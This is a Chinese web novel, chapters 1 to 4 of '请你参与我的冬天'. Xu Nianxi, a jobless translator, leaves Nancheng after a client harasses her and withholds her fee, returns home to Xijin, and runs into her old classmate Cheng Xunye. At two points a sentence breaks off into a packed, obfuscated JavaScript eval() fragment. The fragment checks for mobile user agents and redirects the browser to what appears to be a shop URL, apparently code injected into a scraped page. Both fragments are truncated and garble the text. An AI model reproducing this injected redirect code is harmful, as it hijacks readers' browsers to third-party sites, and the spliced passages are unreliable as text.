《请你参与我的冬天》 1. 001 二十五岁生日那天,徐念溪醒来是下午三点。 她没许愿,只盯着漆黑的出租房墙壁等着时间过,想,永远不会再好了。 事实也是这样。 房东昨晚给她发了消息,原本一个月2500的房租,涨到3000。 她盯着这个数字良久,踌躇着打字,想和房东商量一下价格。 她租了这房子两年,期间见证了房租从1900涨到3000。 如果是原来的她,一个月多出500虽然贵,但是咬咬牙还是能给的。 毕竟这房子电梯房,又近地铁。 虽然是老小区,但是在南城也是很多打工人心中的天菜了。 房东很晚才回,那会儿徐念溪有些睡意,手机也没开提示音,但那个瞬间,就是莫名惊醒。 然后看到,房东回的消息。 吴老板:爱租不租。你觉得贵,一些人还抢着要。 睡意一下子像被真空机抽走,徐念溪看着这行字,不说话。 房东翻备忘录:你今年五月给的租金,还有几天就到半年了。你不租,就赶紧搬出去。你好我好大家好。 徐念溪良久才回复了句:知道了。 那会儿正好是晚上十一点,还有一个小时到她二十五岁生日。 小时候总感觉,生日是个神圣的日子。那一天得开心得快乐,世界上所有的东西都得为它让步。 不知道从什么时候开始,徐念溪没有这个想法。 甚至惧怕起生日的到来。 一天一天逼近的时间,好像在倒数着什么的流逝。 可能性? 必要性? 但不论是什么,她没有看见光亮。 徐念溪没有睡意,却也不知道干什么,在床上翻来覆去。 多次看了支付宝的余额。 五万七百三十五块四毛。 一个再用七百多一点就会跌到五万以下的数字。 她有很严重的焦虑症。 一定要确保自己的存款大于五万。 一旦低于这个数字,她就会很焦虑,整宿整宿睡不着觉,大把大把地掉头发。 很显然,交完房租以后,她的存款一定会比五万少。 更可悲的是,她也不能像之前一样安慰自己,很快能再次存够五万。 毕竟,她离职快三个月了。 没有工作,谈何有收入。 那晚,徐念溪不知道什么时候才睡着。睡着又醒来,醒来又睡着,梦见了无数光怪陆离的景象。 她不记得有什么了,却很久才缓过来。 拿了不知道什么时候自动关机的手机充上电。 手机屏幕是出租屋里唯一的光亮。 鲁惟与早上九点发了消息:宝贝!生日快乐!!!想要什么和你爹说,虽然你爹也没钱,但是给你买礼物的钱还是有的。 徐念溪情不自禁勾下唇角,许久没做这个动作,有一点僵硬:不用买了,没什么想要的。 鲁惟与和她是高中同学,兜兜转转挺多年,关系还一直很好。 鲁惟与在看手机,一通电话直接打过来。 “真没什么想要的?” “嗯。”徐念溪,“等你明年考上编制,再说吧。” 鲁惟与听她这么说,又开始大放厥词,“那肯定的。明年我必上岸。” 徐念溪听她说完,肯定了几句,才慢慢道,“小鱼……” “怎么了?” 徐念溪声音有些堵,轻咳一声,话才出口,“我要回西津了。” 鲁惟与沉默了一会儿,“认真的吗?” 徐念溪起身,拉开窗帘。一时天色大亮。正下午三四点,阳光洒下来,街道上零零碎碎几个人。 她看不清他们长相,只觉得阳光刺眼,让她鼻尖发软。 徐念溪重新拉上窗帘,“认真的。不回去能干嘛呢。” 鲁惟与狠狠骂了一句脏话,“那个老东西怎么不去死!” 三个月前,徐念溪从公司离职。 走时并不体面。 她对接过的制药企业老板娘周清冲进公司,当着所有人的面,指着她的鼻子,骂她,小贱人,不要脸,勾引她老公陈国平。 老板娘长得富态,又爱正红唇色,口出恶言的样子活像要把人吞下去。 徐念溪从没有做过她口中说的那种恶心事。 自然辩解。 但是她忘了,有时候没有言辞激烈地拒绝也是种错误。 所有人都认定她欲绝欢迎。 久了。 甚至她自己都觉得她有错。 “你哪里有错?明明是陈国平那个老东西犯贱。那么大个公司老总,你给他翻译了那么久,才两万五的翻译费他都不肯给,”鲁惟与骂道,“你要是敢翻脸,这两万五他更不会给了。你那是为了钱!” 鲁惟与虽然一直在西津,但她们每天都会聊天。 三个月前的一天,徐念溪发来消息,说她接到了一个制药企业的法翻兼职,周末两天,她跟着去平城,全天陪同。 因为是对接的药企,专业名词多,时间紧任务重,老板陈国平给出两万五翻译费。 徐念溪那时候,还和鲁惟与说,等钱到账了,给她买个银手镯。 剩下的钱,存在银行。 她再好好工作,争取在三十五岁之前,买一套自己的房子。 不用很大,三十平就够了,自己一个人住。 鲁惟与甚至还记得,那个时候徐念溪声音里带着笑意,有着对未来的憧憬。 可没想到,短短一个星期之后,徐念溪发来消息:陈国平不肯结翻译费。 鲁惟与是知道,她为了这个活废了多少精力的:为什么?他不是很认可你的工作吗? 徐念溪发过来几张聊天记录,她和陈国平的。 从刚开始客套的工作交接。 到后面她找陈国平要钱,他边推脱边爹味发言,指点江山说徐念溪再怎么努力,也买不起南城的一个单间。 再到毫不掩饰的让她过来酒店,两个人耍耍,他不仅给她结翻译费,还给她买房。 鲁惟与越看越火大:这不是性骚扰吗?你让他滚没。 徐念溪回得慢:没有。我还是想要钱的。 不知道从什么时候开始,很多东西都能被用作交换。 喜恶、原则、时间、精力…… 在钱面前,她没有那么有骨气。 鲁惟与打好字,又删除,重复好一会儿。 如果这事发生在她身上,她也没有骨气说,两万五不要就不要了,和陈国平闹个鱼死网破。 最后能做的是默默替徐念溪祈祷,希望这件事能圆满解决。 可很多时候,不遂人意。 一切朝着最坏的方向发展。 陈国平见徐念溪不敢得罪他,不仅没结翻译费,还变本加厉,时不时给她发一些难以启齿的东西。 陈国平老婆无意中看到他手机,和他大闹一场,又闯到公司,骂徐念溪勾引她老公。 最后的结局是,徐念溪背负着满身骂名被公司辞退。 徐念溪:“我好多年没回过西津,是该回去看看了。” 鲁惟与吐出口气,不好再说什么:“你到了西津,我去接你。” - 退租前,徐念溪把卧室恢复成刚开始的模样。 她动作很慢,东西又不少,整理一会儿就停下,无意识发着呆。 晚上七八点,合租舍友回来了。 她明明也在,但房子里极度安静。 夕阳西垂,世界好像只剩下徐念溪一个人。 她动了动因长久蹲着而麻木的腿,才想起来,今天一天什么都没吃。 但她没有胃口。 回西津对她来说,不是个很容易做出的决定。 可除了西津,她又无处可去。 每当这个时候,徐念溪就很迫切地想要有自己的房子。 迫切到人生唯一的目标就是,有一套能够容纳她的房子。 在哪里都好,有就行。 可是有的时候,越匮乏越没有。 如同一个死循环。 那晚徐念溪没有睡着,凌晨五点起来赶车。轻手轻脚把行李搬到楼下,又把钥匙留在卧室里。 她最后看了一遍卧室,阖上房门,总觉得什么东西被永远留在南城。 出租车司机打了个哈欠,看她大包小包,目的地还是南城火车站,“丫头,你不留南城了?” “嗯。” 司机启动车辆,感叹一句,“你这种人我见多了。南城不是那么好留的。趁早回去也好,免得拼搏半辈子连个厕所都买不到。” 徐念溪不是个喜欢和陌生人说话的性格,没应声,一路上看着窗外。 太早了,南城街道灰蒙蒙的,梧桐树发黄,树下落了一片张牙舞爪的枯败手指。 深秋了,马上会入冬。 从她揣着满腔热血,带着理想来到南城,妄想在这里有一套自己的房子,已经三年了。 她热爱已凉,房子 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徐念溪想了想,从记忆里拖出一个剪影,眼眸睁大,“程洵也?” “想象不出来吧?” “嗯。”徐念溪点头,“当时只知道他应该挺有钱的。晚自习的时候,经常请全班吃零食。可是没想到他家会这么有钱。” “所以说,人和人之间的差距,真是比人和狗都大,”鲁惟与感叹,“我们这种,努力大半辈子,只想要套房。他这种啊,明明和我们同龄,连楼都有了。” 徐念溪收回视线,“嗯”了声。 她已经逐步发现人和人之间,就是不公平的。 她梦寐以求的东西,是别人的轻而易举。 点好菜,鲁惟与先去打酱料。 她去了没半分钟,就回来了,急急忙忙放下料碟:“你知道我看见谁了吗?” “谁?” “程洵也!”鲁惟与往斜对面几桌,指了指,“高中同学,还是那么有钱的高中同学,你说我们要去打个招呼吗?” 徐念溪跟着看过去,能看到那桌人的一点衣角:“别了吧。虽然是高中同学,但也不熟。” 而且,她满身落魄。 遇到老同学会有的寒暄,“你在哪里高就啊”、“怎么回西津了”等等,她都难宣于口。 “也是。他和我们都不是一路人,我们巴巴凑上去,人家都不一定记得我们呢。”鲁惟与打消念头,重新起了身。 等鲁惟与打完酱料,徐念溪也站起来。 她之前无辣不欢,可去南城生活了几年,口味不知不觉变得清淡。 只往料碟里,加了不少麻酱和香菜。 转身的时候,她没注意身后有人。 脑袋直直撞到对方的胸膛,估计是撞到骨头了,她捂着鼻子好一会儿,才缓过涌上来的酸劲儿。 抬眼,就发现,她手里的料碟,竟然分毫不错地扣在对方的胸口。 因为麻酱太多,还混了点香菜。 倒在衣服上,特别像沾染了某种不明物体。 徐念溪颈脖发梗,缓缓往上,对上一张似曾相识的脸。 男人。 和高中相比,五官更显立体。 眉弓高眼窝深邃,鼻梁高挺,线条利落分明。又因为微微下至的眼睑,整个人桀骜中透着点少年气。 正低头,盯着胸口那一滩不明物体,神情莫测。 ——程洵也。 鲁惟与说过,对面那栋楼是他家的。 也就是有钱人。 比起见到不熟悉的老同学的紧张或者兴奋,徐念溪的第一想法是,他的衣服一定很贵。 哪怕那衣服肉眼看着,只是一件普普通通的黑色卫衣。 “对不起。”徐念溪拿了纸巾,匆匆上前一步,试图给他擦掉。 只是卫衣是棉质的,麻酱很快晕开成一大滩。 再这么下去,他这衣服就毁了。 徐念溪不死心,又摁着他的胸口,使劲擦了几下。 也就是这时候,程洵也反应过来了,护着胸口,后退一步,狐疑地盯着她:“你干嘛?” 他姿态防备,徐念溪顿了顿,以为他不满意这种处理方式,问得试探,“…要不你脱下来,我带回去……” 洗洗? 她话还没说完,被程洵也打断,他看了她几秒,吐出句: “怎么?你光摸不够,还想连吃带拿啊。” 2. 002 徐念溪指尖麻了麻,看着男人居高临下的脸,大脑有些短路。 可能是事情已经发生了,徐念溪也能从弄脏他衣服的惶然中稍稍找回理智。 她刚刚的做法虽然是基于,尽力想把他的衣服擦干净,但是她确实摸了他的胸。 而且还不是轻轻的,是使劲地摁住。 都摁平了都。 性别转换,她这样的行为,必然会被人骂一声流氓。 她难免支支吾吾:“没…我没这个想法,只是想擦干净……” 程洵也轻哼一声,那模样显然不太相信。 徐念溪顾不上研究他的表情,比起他,他身上的那件卫衣更让她挂记。 没有收入也就代表着,没有承担风险的能力。 如果这衣服毁了,她又得花一大笔钱,来赔偿他。 “你的衣服,”徐念溪指了指他的胸口,旧话重提,“方便的话,可以脱下来吗?我拿回去洗,洗干净了再送过去给你。” 程洵也思考了两秒,像是觉得她的提议可行,脱了卫衣,丢给她。 这时候已经是十一月了,深秋和初冬的交界点。时不时有几阵寒风刮过,路上的行人起码都裹了三件。 可眼前的程洵也,黑色卫衣下仅穿了件短袖白T,露出的修长小臂覆着一层薄肌。 虽然是好看的,但看着就冷。 事情因她而起,她于情于理都要负起责任来。 刚好她今天为了赶车,穿的是一件宽松款的灰色卫衣。 他穿着应该勉强合适。 徐念溪拉下拉链,还没拉到底,程洵也后退一步,眼神怀疑地看她。 “干嘛?你还想霸王硬上弓不成?我可不吃硬的。” 徐念溪:“……” “天有点冷,你先穿我的外套,”徐念溪解释,“等我把你的衣服洗好了,我们再换回来。” 程洵也看她一眼,她外套下就一件毛衣,针眼空隙大,看着也不厚。 他移开目光,“别了。没抢女孩子衣服穿的癖好。” 徐念溪本就因为他愿意把卫衣给她洗,而不是让她赔偿而觉得感激。 这下看他举动,又加了一层愧疚:“可是这么冷的天,我害你只穿一件短袖。你要是不穿我的衣服,我会良心不安的。” 程洵也轻呵了声,声音不紧不慢的。 “抢女孩子的衣服穿,我也会良心不安。比起我不安,还是你不安好。” “……” 他这话说得直接又快速。 可见他是真这么想的。 徐念溪的愧疚被他的直男发言一句话打散,“…行吧。” “那我尽快洗好给你,怎么联系呢?” 程洵也报了一串号码,又不放心似的盯着徐念溪,“手洗啊,可别机洗。我只穿手洗的衣服。” 徐念溪点头,示意记住了,为了让他安心,也把自己的号码说了。又和程洵也道了一遍歉。 程洵也背过她挥了挥手,心情还不错地往他那桌走。 事情处理完毕,徐念溪整个人松懈下来。 后知后觉涌上来一股庆幸。 庆幸事情得到解决。 也庆幸遇到的人不是别人,而是程洵也。 就在这时,人已经要走出屏风的程洵也突然回头,隔着点距离,点了点她,说了句什么。 那个瞬间,徐念溪下意识以为,他应该是认出自己了。 要不然,怎么会突然回头。 可过了几秒,才听清他的话。 他人还怪警惕的,“你可别对我的衣服动手动脚。” 徐念溪:“……” - “怎么去了这么久?”鲁惟与把牛肉夹到徐念溪已经堆满的碗里,“快吃,冷了不好吃了。” 徐念溪把程洵也的卫衣折好,放在随身的包里,“我刚刚遇到程洵也了。” "啊?他认出你没?” 徐念溪想了想刚刚发生的一切,忽略他视她如流氓的态度以外,毫无任何异样。 “没。”徐念溪,“不过这样也好。” 她本就不愿让人发现她的落魄。 鲁惟与有点可惜地砸吧下嘴,“一个他,一个你,当时可是我们班上的颜霸呢,总一起相提并论。怎么他就不认识你了。” “我们都高中毕业七年了,”徐念溪笑笑,“更何况,我这样的多的是。” 鲁惟与看她,“哪里多得是,又不是地里的大白菜。” 徐念溪作为6班的颜霸,长得还是相当能打的。 不是艳丽那一挂,但骨相优越,覆着层薄薄的皮肤,人很白。乍看只是清丽,看久了才会发现越看越好看。 属于耐看型。 徐念溪摇头说她这是对自己有滤镜,又将刚刚发生的事说了一遍。 鲁惟与感叹:“还好撞到的是程洵也,不是什么不讲理的人。” 徐念溪点头,轻声:“他一直是个很好的人。” 哪怕多年不见,还是依旧热烈坦荡。 在他身上,好像还能看到无限可能性。 和死气沉沉的她不一样。 鲁惟与认同,想起高中的种种,一时只觉得恍如隔世:“高中那会儿,我还真以为,他喜欢你。结果一晃这么多年,他都不记得你了。” 徐念溪被她逗笑:“他怎么可能喜欢我。” 他那种人,一看就是阳光里长大的。 和她这种,遍地是阴霾的人,完全不一样。 - 严岸泊窝在沙发上,一手夹根烟,一手打游戏,见程洵也回来,“呦,总算回了”声。 等他这局游戏打完了,程洵也还站在那儿。一手覆住自己的胸,捏了捏,似乎还挺不满意的,“啧”了声。 严岸泊:“……” “不是,兄弟,你这么饥渴啊,自己都不放过。” 程洵也放下手,“你懂个屁。我在研究为什么我的胸肌刚刚是软的。” 严岸泊丢手机到桌上,“你没发力当然是软的。你当它是你小弟啊,看个片就能硬,早上还能和你招手说哈喽bro。” “……” “还有,你外套呢?” 程洵也坐了回去,“给别人了。” “谁?” “你不认识。” 严岸泊嘴角抽了抽,“我不认识,你就认识啊?” 程洵也扬眉,“我还真认识。徐念溪你知道吗?” 那语气,活像在说你个土鳖,你知道什么你。 严岸泊被他气笑了,还真摸着下巴想了想,“哎,高中那会儿不是你们班有个学霸叫徐念溪吗,英语特别好的那个。还去比了个什么口语比赛,你还翘课,跑去给她加油……” 想到这儿,他往前探了探身子,八卦,“她和你们班长不是关系很好吗?你刚刚有看到你们班长吗?怎么样?他们俩现在什么情况?在一起没……” “不清楚。”程洵也回得冷淡。 “同班同学怎么可能不清楚?”严岸泊不满,“你是不是故意不去打听?因为嫉妒他们关系好,每天躲在被窝里恨得咬牙切齿。要我说,做人可不能这么小气……” 程洵也盯他三秒,往他碗里扔了块猪脑。 “赏你的,不用谢。” 严岸泊盯着碗里的猪脑不明所以。 程洵也:“残了这么多年,吃点脑子补补吧。虽然也没用。” 严岸泊:“……” - 吃完火锅,徐念溪和鲁惟与道别,往家里走。 她昨晚没怎么睡,又早起赶车,火车上虽然有小憩一会儿,但过会儿就惊醒一次,比没睡都疲惫。 她现在应该是迫切地想找个地方休息。 比如说,家里。 但她步子放得很慢,走两步还得停一下。 短短一段路,花了半个小时。 可只要是旅途,就有终点。 老远看到个老小区,快三十年的房龄,墙体水泥脱落了不少,像只年迈的斑点狗,老态龙钟的样儿。 邻里邻居的都认识,总爱搬个小板凳,围在小区门口讲话。 徐念溪一身风尘仆仆,又拖着行李箱,拎着大包小包。 进来时,小区门口那些人都看着她。 徐念溪垂下眼,加快步伐,等她走了老远,才听到他们重新说起话。 到了家门口,花了一会儿找到门钥匙。 开门进屋。 一进来,有种刻在记忆最深处的东西涌上来的恍惚。 她以为肯定不记得的房屋装修和家具摆放,实际上都历历在目。 好像她从来都没离开过。 徐念溪没有再看,推开最里侧的小房间。 那是她的卧室。 印象中,是一个狭小的正方形。 放了张一米二的床,又苦苦塞进个连体式书桌衣柜,就再也没有多余的位置。 连进出都得小心侧着身子。 卧室没有窗,这会儿一片黝黑。 徐念溪记不清灯开关的具体位置,摸索着找。 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207246|150998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个没留神,脚不知道踢到什么东西,整个人往前仰,而后重重磕在一个铁质物体上。 她趴在地上,缓了好一会儿才爬起来,揉了会儿小腿,继续找开关。 好不容易找到,摁了好几下。 卧室依旧漆黑。 ——灯坏了。 “你到家没?”鲁惟与打电话来的时候,徐念溪正等五金店老板找和坏灯一样的同款。 “刚到,现在又出来买灯了。我房间灯坏了。” “你自己修啊?” “嗯。” 鲁惟与啧啧称奇,“看不出来啊,你连灯都会修。” “你修完灯,洗完衣服,快去睡会啊。你那么早起来赶车,这会儿还不睡,小心猝死。” “知道了。”徐念溪应。 应是这么应,但每每都容易事与愿违。 “咔嚓”一声,灯亮了,照亮卧室的一切。 床上堆着过季的衣服被子,衣柜里塞满王君兰的连衣裙,那么一点狭长的通道也见缝插针地放了落地扇、躺椅。 她刚刚踢到的就是躺椅。难怪小腿会磕出一条红印。 徐念溪看着不像卧室,反倒像一个杂物间的房间,慢慢吐出口气。 工程太过浩大,她先去洗了程洵也的卫衣。 拿洗洁精干搓一会儿,那一块的麻酱痕迹淡了点,她又用洗衣液揉了好一阵子。 还好是洗干净了。 晒好了衣服,徐念溪没休息,马不停蹄进了卧室,想把房间整理出来。 还没忙完,大门被打开,钥匙被丢在桌上。 “回来了啊。”王君兰进了她卧室,看她在整理,“你弄,我去炒菜。” 王君兰的饭菜在徐念溪整理好卧室之前做好。 “别弄了,吃饭先。” 只有两个人,王君兰没做多少菜,就一个青菜,一个鱼。 徐念溪从小到大都不爱吃鱼,但王君兰认为吃鱼有营养,往她碗里直夹:“你这次回来休息几天?” 徐念溪指尖顿了顿,“…我不是休息才回来的。” “我离职了。” 王君兰没继续夹了,“离职?” “嗯。” 得到她的肯定,王君兰语调变了:“现在什么工作环境你不知道吗?你当工作多好找?” “多少人找不到事做,你倒好,想离职就离职?” 一连串的质问。 王君兰永远都是这样,比起问她为什么离职,是不是不开心,是不是受委屈了等等。 她永远选择的,都是指责。 徐念溪回来之前,已经料想到会有这种局面。 所以比起难过委屈,她更多的是提不起劲儿的疲惫。 那顿饭不欢而散。 徐念溪关了卧室门,没开灯缓了会儿,才有精神继续整理。 卧室本来就小,那些清出来的东西又无处可放。 只能被子衣服继续堆在床上,给她留出个可供睡觉的边缘。 剩下那些杂物就高高地摞在一起。 卧室更加逼仄狭小。 所有这些弄好后,已经晚上十二点了。 徐念溪轻手轻脚地从行李箱里拿了换洗衣服去洗漱。 兵荒马乱的一天彻底结束。 徐念溪应该倒头就睡的,可现实是,她躺在床上,看着墙皮有些开裂的天花板,无意识地发着呆。 世界安静,毫无睡意。 这只是她回来的第一个晚上。 她却已经开始在怀疑,自己是不是做错了。 看了不知道多久,手机忽地叮了下。 换做之前,徐念溪不会在意,骚扰短信而已。 但不知道从什么时候开始,她开始希望世界有点不一样的声音。 哪怕极有可能就是骚扰短信,她都会看一眼。 138****1020: 在?记得我的衣服。 衣服。 什么衣服? 徐念溪看了眼号码,反应过来。 是程洵也。 没想到他这种日理万机的有钱人,还挺注重细节的。 还会特意提醒她,他的衣服。 徐念溪回:洗好了。明天上午就能干,我送过去给你,方便在哪里见面呢? 等他回复的功夫,徐念溪想到他走前那句怀疑,为了自证清白,补了句:我能保证,我全程没对你的衣服动手动脚。 过了一会儿,程洵也才回: 哦。忘了说,动嘴也不行。 3. 003 “……” 一件衣服,她要怎么动嘴? 拿来擦嘴吗? 徐念溪深呼吸口气,摁了两下突突跳的太阳穴,一字一顿:我也没有动嘴。 程洵也回得还挺快:这样。那你还忍得挺辛苦。 “……” 徐念溪负气地把手机丢在床上。 总算体会到,那句一着不慎,满盘皆输是什么意思了。 在程洵也心里,她估计是一个,虽然觊觎他,但是迫于已经被他发现,而苦苦忍耐自己yu望的头号流氓。 但是她明明没有。 胸膛一起一伏,好半晌才平复。 卧室没开灯,又黑又静。 徐念溪看着虚空一点,突然发现,这是几个月以来,她为数不多的感受到情绪起伏。 除了见到鲁惟与时的喜悦。 就是现在了。 虽然是懊恼,但是也让她鲜明地感受到她是活着的,有情绪波动的。 这种感觉太久违,像一片荒芜地闯进一只明亮蝴蝶。 明明是轻微的振翅声,却无端卷起一阵海啸。 徐念溪细细体会了好久,才重新打开手机。 程洵也:明早十一点,到上次那家火锅店给我。 徐念溪:好的,知道了。 程洵也没有再回复,徐念溪摁熄手机。 床太窄了,她连翻来覆去都没有空间,又实在睡不着。 不知道从什么时候开始,入睡变成了一件很困难的事情。 哪怕她知道自己睡眠不足,但也无法轻易睡着。 最后只能拿起手机。 刷了会儿资讯,又去看程洵也发来的短信。 没什么意义,只是消磨时间而已。 大概是凌晨四五点才睡着,睡前她难免庆幸,还好约在十一点。 她还有些时间用来休息。 - 是被短视频声吵醒的,徐念溪费力地睁开眼,只感觉太阳穴在突突地跳。 客厅里,王君兰正刷短视频,手机声音开到最大,时不时还笑两声。 徐念溪摸出手机,看了眼时间。 早上六点半。 她顶多睡了两个半小时。 徐念溪没有在这种声音里,还能睡着的能力。 只好盯着天花板无意识地发呆。 王君兰在家木材厂做财务,从家过去只用十分钟,收拾完离上班还点有时间,推开徐念溪的卧室门,见她醒着,就说: “你能不能和老板求求情,说你还是想回去上班,现在工作不好找……” 徐念溪脑袋还疼,像有无数根小针在戳,又不得不和她对话,“回不去了,公司不会要的。” 王君兰脸色不好看,在她床边踱步,“你离职的时候怎么都不和我说一声。没工作看你以后怎么办。” “当时说让你留在西津读个师范学校非不肯,背着我报南大,毕业后还非要留在南城,结果现在工作都没有。” “徐依宁只读个中专,人家都有工作,还是个护士。你一个大学生,怎么连她都比不过……” 从小到大,徐念溪听过无数人和她说。她家这种家庭,她一定要争气,一定要比过徐依宁。 她也确实这样做了。 可是这么多年,她也真的累了。 累得她整个人都是拼接起来的玻璃。 乍看之下完好,实际上千疮百孔。 有时候,她会想,她的所有努力到底是自己想要。 还是仅仅是为了满足王君兰的要求。 徐念溪缓缓吐出口气,看了眼墙壁上的挂钟,“快到七点二十了。” 王君兰这才没说了,匆匆出了门上班。 老小区的早晨叮叮乓乓的,切菜声、说话声、骑着自行车卖菜的吆喝声…… 徐念溪听着这些声音,勉强睡了几个小时,实在是睡不下去,爬起来洗漱,提前出发了。 - 到火锅店时,刚好早上十点。 店员听她说,来等人的,不用餐。还是态度很好地带她去了座位坐下。 时间还早,火锅店里没什么顾客,徐念溪坐在最里面的桌。木质窗关着,隐隐有光线射进来。 半明半暗之间,她无意识地阖上眼。 又怕把程洵也的衣服弄丢,紧紧抱在怀里。 鼻尖是隐隐的洗衣液香味。 徐念溪昏昏沉沉的,竟然梦到了高中时第一次见到程洵也的场景。 开学第一天,老师匆匆进来贴了刚排好的座位表,让先这样坐着。 徐念溪花了一点时间,才找到自己的位置。 前桌侧过身,她人长得明艳大气,“你叫什么?我叫鲁惟与。” “我叫徐念溪。” “等会报道完,你说学校会让我们回家,还是直接就上课了啊。” “应该是上课吧……” 两个女生相视叹口气。 也是从这会儿开始,两个人成为朋友。 一如她们所说,附中没有给过渡时间,直接开启到上课模式。 一时间,教室里哀声怨道。 鲁惟与羡慕地指了指她旁边的空位:“你同桌谁啊,好有先见之明,直接没来。” 徐念溪还记得座位表:“好像是叫程洵也。” 第一天上课总是让人疲惫的。 徐念溪背着书包,回到家里。 王君兰已经下班了,边往锅里放青菜,边幸灾乐祸,“徐依宁连个高中都考不上,只读了个中专,中专出去能有个什么好事做,你就不一样了……” 徐念溪在她面前一向没什么话,沉默地吃着饭。 一连几天,她同桌都没来。 这是个很稀奇的事。 整个班上,只有他一个人请假这么久。 班上时不时会有人说起他的名字,好奇这位仁兄干嘛去了。 那天午后第一节课是数学。 徐念溪数学成绩一向平平,听得上眼皮和下眼皮直打架。 等下课铃声一响,立马倒头就睡。 睡得云里雾里,有人敲了敲她的桌子,说了句什么。 “……” 她惊醒,迷蒙着眼抬头,个很高的黑衣少年,逆着光站在她面前。 “让我进去。” 徐念溪还没反应过来,跟着他的指示做。 少年腿长,两步迈进来,坐下,随手把瘪瘪的书包塞进桌兜。 窗外的阳光照进来,落在正弯腰从桌兜掏书的少年脸上。 少年有张浓墨重彩的脸,眉弓明显,高鼻梁,侧脸轮廓好看得像拿笔画出来的。 睫毛很长,甚至连一向稀疏的下眼睫都又长又密。 阳光下,毛绒绒的,像摇曳的麦穗。 严岸泊从隔壁班跑过来,见他在,“你怎么才来?” 程洵也翻开书,打了个哈欠,“刚从我哥学校回来。” “你牛。”严岸泊竖大拇指,“你等会怎么和你们班主任说?我可听说她人挺狠的,堪称灭绝师太。” 程洵也也愁,揉了下眉心,忽然眼睛一亮,“就说我家的狗丢了……” 严岸泊没等他说完,打断,“怎么的,狗丢了,所以你得自己看家?然后还一看看这么久啊。” “……” 徐念溪忍不住笑了下。 被她的笑声提醒,程洵也想起自己有个同桌,侧过脸,“呦同桌,你好。我叫程洵也。” “如你所见,是个大帅哥。” 出乎意料的,阳光下,少年是张熠熠生辉的笑脸。 全然没有刚才的愁。 徐念溪发现,他笑起来的时候,眼眸透亮,眼尾会有点微微的褶。 是笑痕。 哪怕这么多年过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她长得没有侵略性,性格也温和好相处,妥妥的初恋女神。 程洵也没理他,也没打消严岸泊的热情,“你说,我追她怎么样?这么多年都没听到她结婚的消息,指不定和你们班班长吹了。现在我和她是男未婚女未嫁,多合适啊……” 严岸泊越说越美,都觉得这是上天送来的姻缘。 程洵也抬起头,看着严岸泊半秒,缓缓道:“喜欢一个人不能只看她的外表。” 严岸泊连连点头,想说,他也很注重心灵美的。 就听程洵也接了句,“也得看看自己外表。” 严岸泊:“……” 程洵也穿上洗好的卫衣,直起身,“不早了,我走了。” 严岸泊起身送他,边送边问,“我长得也不差啊,怎么就不行?你是不是歧视我……” 程洵也被他絮叨得烦,纸袋拍他胸口,“徐念溪,人南大的。学习好性格好,长得又漂亮,回西津也只是暂时的。” 他又看了眼严岸泊,“至于你嘛……” 程洵也“啧”了声,那个嫌弃劲儿溢于言表。 “我怎么了嘛,我大好青年,开了几家火锅店,妥妥的潜力股,”严岸泊不服,“哪里像你说的,一个天上一个地下似的那么大差距。” 程洵也人没劲儿,只想,真有机会,还轮得上你。 他懒得和严岸泊说,走出去几步,又折回来,抢他怀里的纸袋,“袋子还我。” “不就个破袋子吗,”严岸泊道,“你还稀罕上了,尽神神叨叨的。” 4. 004 徐念溪给完程洵也衣服,正好十一点过十分。 她站在火锅店对街,车流如织,行人提着菜,行走在街道上。 到了中午吃饭的点,很显然他们都在回家吃饭的路上。 只有徐念溪,完全不知道下一步该干什么。 不过也确实,除了还程洵也衣服这件事以外,她的生活好像没有别的东西。 这种失重感很玄妙,明明和所有人都处于同一维度,她却格格不入。 而这种格格不入,她已经体会很久了。 想了想,徐念溪随便进了一家还开着的早点店,点了份面。 付款后,又看了会儿支付宝余额。 回西津以来,火车票、火锅费用,加上一些必要的生活开支。 她的存款岌岌可危,仅仅比五万多出一百多。 再用一百,就真的要少于五万了。 有句话叫,人生最痛苦的是有工作和没有工作。 前者不得不面对工作带来的各种困难业务和复杂人际关系;后者则陷于没有工作而带来的经济困窘,以及无时无刻的焦虑中。 她亦不能免俗。 徐念溪打开Boss,开始筛选工作。 西津虽然近几年发展得不错,但是毕竟没有南城发展得好。 Boss上可供选择的翻译公司不多。 徐念溪一一把自己的简历发过去,并表达她希望面试的意愿。 老板端上来面。 徐念溪食欲不强,这家店做出来的东西也草草了事。 她吃两口便停下,拿着手机无意识扒拉两下。 她也不知道自己想看什么,要看什么。 “徐念溪?”女声从旁边传来。 徐念溪下意识抬脸,对上张记忆中的脸。 女人。 长得珠圆玉润,很有福气的一张苹果脸,因为笑意盈盈而弯着眼。 “蔡娴娴?”徐念溪有些吃惊。 她回来前有想过可能会遇到同学,也曾做过心理预设。 但回去前,鲁惟与曾宽慰她,她在西津住了那么久,也没遇到几个同学。 她便放宽了点心。 西津不大,却也不小。 遇到曾经同学的概率,想来并不大。 但回来两天,她便先后遇到了程洵也和蔡娴娴。 她有时不得不佩服自己的坏运气。 蔡娴娴坐到她对面,“你休假从南城回来了?” 徐念溪是附中为数不多的考上南大的,她大学毕业后就留在南城的消息,很多人都知道。 虽然西津发展不错,但是和南城相比,还是有差距的。 这样的情况下,每次高中同学聚会,都会有人提起徐念溪。 徐念溪犹豫一下,还是说了实话:“……没有。我辞职了。” “辞职了?那你还回南城吗?” “不回了。” “为什么不回啊?”蔡娴娴讶异,“南城多好,大城市,经济发达,自由度高。” 徐念溪淡笑了下,“想换个工作环境。” 她说得泛泛,没有深入往里说的意愿。 蔡娴娴一边为她的选择咋舌,一边说,“西津还是挺难找工作的,我好几个朋友毕业后都没找到工作……” 蔡娴娴还是那个性子,活泼话也多。 